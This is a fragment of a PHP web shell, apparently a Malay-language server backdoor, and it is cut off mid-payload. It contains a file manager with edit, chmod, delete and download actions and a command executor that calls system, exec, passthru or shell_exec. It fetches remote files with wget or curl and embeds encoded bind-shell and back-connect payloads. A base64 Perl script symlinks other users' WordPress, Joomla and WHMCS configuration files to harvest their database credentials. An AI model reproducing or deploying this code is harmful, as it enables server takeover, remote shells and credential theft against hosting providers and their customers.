action=\\"?y=$pwd\\" method=\\"post\\" id=\\"".clearspace($file)."_form\\" class=\\"sembunyi\\" style=\\"margin:0;padding:0;\\">\r\n\t\t<input type=\\"hidden\\" name=\\"oldname\\" value=\\"".$file."\\" style=\\"margin:0;padding:0;\\" />\r\n\t\t<input class=\\"inputz\\" style=\\"width:200px;\\" type=\\"text\\" name=\\"newname\\" value=\\"".$file."\\" />\r\n\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"rename\\" value=\\"rename\\" />\r\n\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"cancel\\" value=\\"cancel\\" onclick=\\"tukar(\'".clearspace($file)."_link\',\'".clearspace($file)."_form\');\\" />\r\n\t\t</form></td><td>".ukuran($full)."</td><td style=\\"text-align:center;\\">".$owner."</td><td><center>\r\n\t\t<a href=\\"javascript:tukar(\'".clearspace($file)."_link\',\'".clearspace($file)."_form2\');\\">".get_perms($full)."</a>\r\n\t\t<form action=\\"?y=$pwd\\" method=\\"post\\" id=\\"".clearspace($file)."_form2\\" class=\\"sembunyi\\" style=\\"margin:0;padding:0;\\"> \r\n<input type=\\"hidden\\" name=\\"name\\" value=\\"".$file."\\" style=\\"margin:0;padding:0;\\" /> \r\n<input class=\\"inputz\\" style=\\"width:200px;\\" type=\\"text\\" name=\\"newvalue\\" value=\\"".substr(sprintf(\'%o\', fileperms($full)), -4)."\\" /> \r\n<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"chmod\\" value=\\"chmod\\" /> \r\n<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"cancel\\" value=\\"cancel\\" onclick=\\"tukar(\'".clearspace($file)."_link\',\'".clearspace($file)."_form2\');\\" /></form></center></td>\r\n\t\t<td style=\\"text-align:center;\\">".date("d-M-Y H:i",@filemtime($full))."</td>\r\n\t\t<td><a href=\\"?y=$pwd&edit=$full\\">edit</a> | <a href=\\"javascript:tukar(\'".clearspace($file)."_link\',\'".clearspace($file)."_form\');\\">rename</a> | <a href=\\"?y=$pwd&delete=$full\\">delete</a> | <a href=\\"?y=$pwd&dl=$full\\">download</a> (<a href=\\"?y=$pwd&dlgzip=$full\\">gzip</a>)</td></tr>";\r\n\t}\r\n\t$buff .= "</table>";\r\n\treturn $buff;\r\n}\r\n\r\nfunction ukuran($file){\r\n\tif($size = @filesize($file)){\r\n\t\tif($size <= 1024) return $size;\r\n\t\telse{\r\n\t\t\tif($size <= 1024*1024) {\r\n\t\t\t\t$size = @round($size / 1024,2);;\r\n\t\t\t\treturn "$size kb";\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$size = @round($size / 1024 / 1024,2);\r\n\t\t\t\treturn "$size mb";\t\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\telse return "???";\r\n}\r\n\r\nfunction exe($cmd){\r\n\tif(function_exists(\'system\')) {\r\n\t\t@ob_start();\r\n\t\t@system($cmd);\r\n\t\t$buff = @ob_get_contents();\r\n\t\t@ob_end_clean();\r\n\t\treturn $buff;\r\n\t}\r\n\telseif(function_exists(\'exec\')) {\r\n\t\t@exec($cmd,$results);\r\n\t\t$buff = "";\r\n\t\tforeach($results as $result){\r\n\t\t\t$buff .= $result;\r\n\t\t}\r\n\t\treturn $buff;\r\n\t}\r\n\telseif(function_exists(\'passthru\')) {\r\n\t\t@ob_start();\r\n\t\t@passthru($cmd);\r\n\t\t$buff = @ob_get_contents();\r\n\t\t@ob_end_clean();\r\n\t\treturn $buff;\r\n\t}\r\n\telseif(function_exists(\'shell_exec\')){\r\n\t\t$buff = @shell_exec($cmd);\r\n\t\treturn $buff;\r\n\t}\r\n}\r\n\r\nfunction tulis($file,$text){\r\n\t$textz = gzinflate(base64_decode($text));\r\n\t if($filez = @fopen($file,"w"))\r\n\t {\r\n\t\t @fputs($filez,$textz);\r\n\t\t @fclose($file);\r\n\t }\r\n}\r\n\r\nfunction ambil($link,$file) { \r\n if($fp = @fopen($link,"r")){\r\n\t while(!feof($fp)) { \r\n \t\t $cont.= @fread($fp,1024); \r\n \t\t} \r\n \t\t@fclose($fp); \r\n\t $fp2 = @fopen($file,"w"); \r\n\t @fwrite($fp2,$cont); \r\n\t @fclose($fp2); \r\n }\r\n}\r\n\r\nfunction which($pr){\r\n\t$path = exe("which $pr");\r\n\tif(!empty($path)) { return trim($path); } else { return trim($pr); }\r\n}\r\n\r\nfunction download($cmd,$url){\r\n\t$namafile = basename($url);\r\n\tswitch($cmd) {\r\n\t\tcase \'wwget\': exe(which(\'wget\')." ".$url." -O ".$namafile);break;\r\n\t\tcase \'wlynx\': exe(which(\'lynx\')." -source ".$url." > ".$namafile);break;\r\n\t\tcase \'wfread\' : ambil($wurl,$namafile);break;\r\n\t\tcase \'wfetch\' : exe(which(\'fetch\')." -o ".$namafile." -p ".$url);break;\r\n\t\tcase \'wlinks\' : exe(which(\'links\')." -source ".$url." > ".$namafile);break;\r\n\t\tcase \'wget\' : exe(which(\'GET\')." ".$url." > ".$namafile);break;\r\n\t\tcase \'wcurl\' : exe(which(\'curl\')." ".$url." -o ".$namafile);break;\r\n\t\tdefault: break;\r\n\t}\r\n\treturn $namafile;\r\n}\r\n\r\nfunction get_perms($file)\r\n{\r\n\tif($mode=@fileperms($file)){\r\n\t\t$perms=\'\';\r\n\t\t$perms .= ($mode & 00400) ? \'r\' : \'-\';\r\n\t\t$perms .= ($mode & 00200) ? \'w\' : \'-\';\r\n\t\t$perms .= ($mode & 00100) ? \'x\' : \'-\';\r\n\t\t$perms .= ($mode & 00040) ? \'r\' : \'-\';\r\n\t\t$perms .= ($mode & 00020) ? \'w\' : \'-\';\r\n\t\t$perms .= ($mode & 00010) ? \'x\' : \'-\';\r\n\t\t$perms .= ($mode & 00004) ? \'r\' : \'-\';\r\n\t\t$perms .= ($mode & 00002) ? \'w\' : \'-\';\r\n\t\t$perms .= ($mode & 00001) ? \'x\' : \'-\';\r\n\t\treturn $perms;\r\n\t}\r\n\telse return "??????????";\r\n}\r\n\r\nfunction clearspace($text){\r\n\treturn str_replace(" ","_",$text);\r\n}\r\n\r\n// net tools\r\n$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf\r\n+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE\r\nP/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ\r\ndKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL\r\n3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug\r\nUq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk\r\nHDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W\r\ntyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL\r\nZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6\r\nuPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";\r\n$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1\r\nNmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg\r\ntNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD\r\ne/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0\r\nLSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo\r\nvaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB\r\n+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";\r\n$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St\r\nktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j\r\nS2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ\r\nja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw\r\nTskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";\r\n$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA\r\nBYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95\r\nzzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75\r\ni+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A\r\nRkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY\r\njwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F\r\n6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";\r\n//confshell\r\n$configshell = \'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIGZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHVwbG9hZCAudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGtvbGEuJy0gbWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOyANCiB9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MDBweCI+PC90ZXh0YXJlYT4NCjxiciAvPjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgd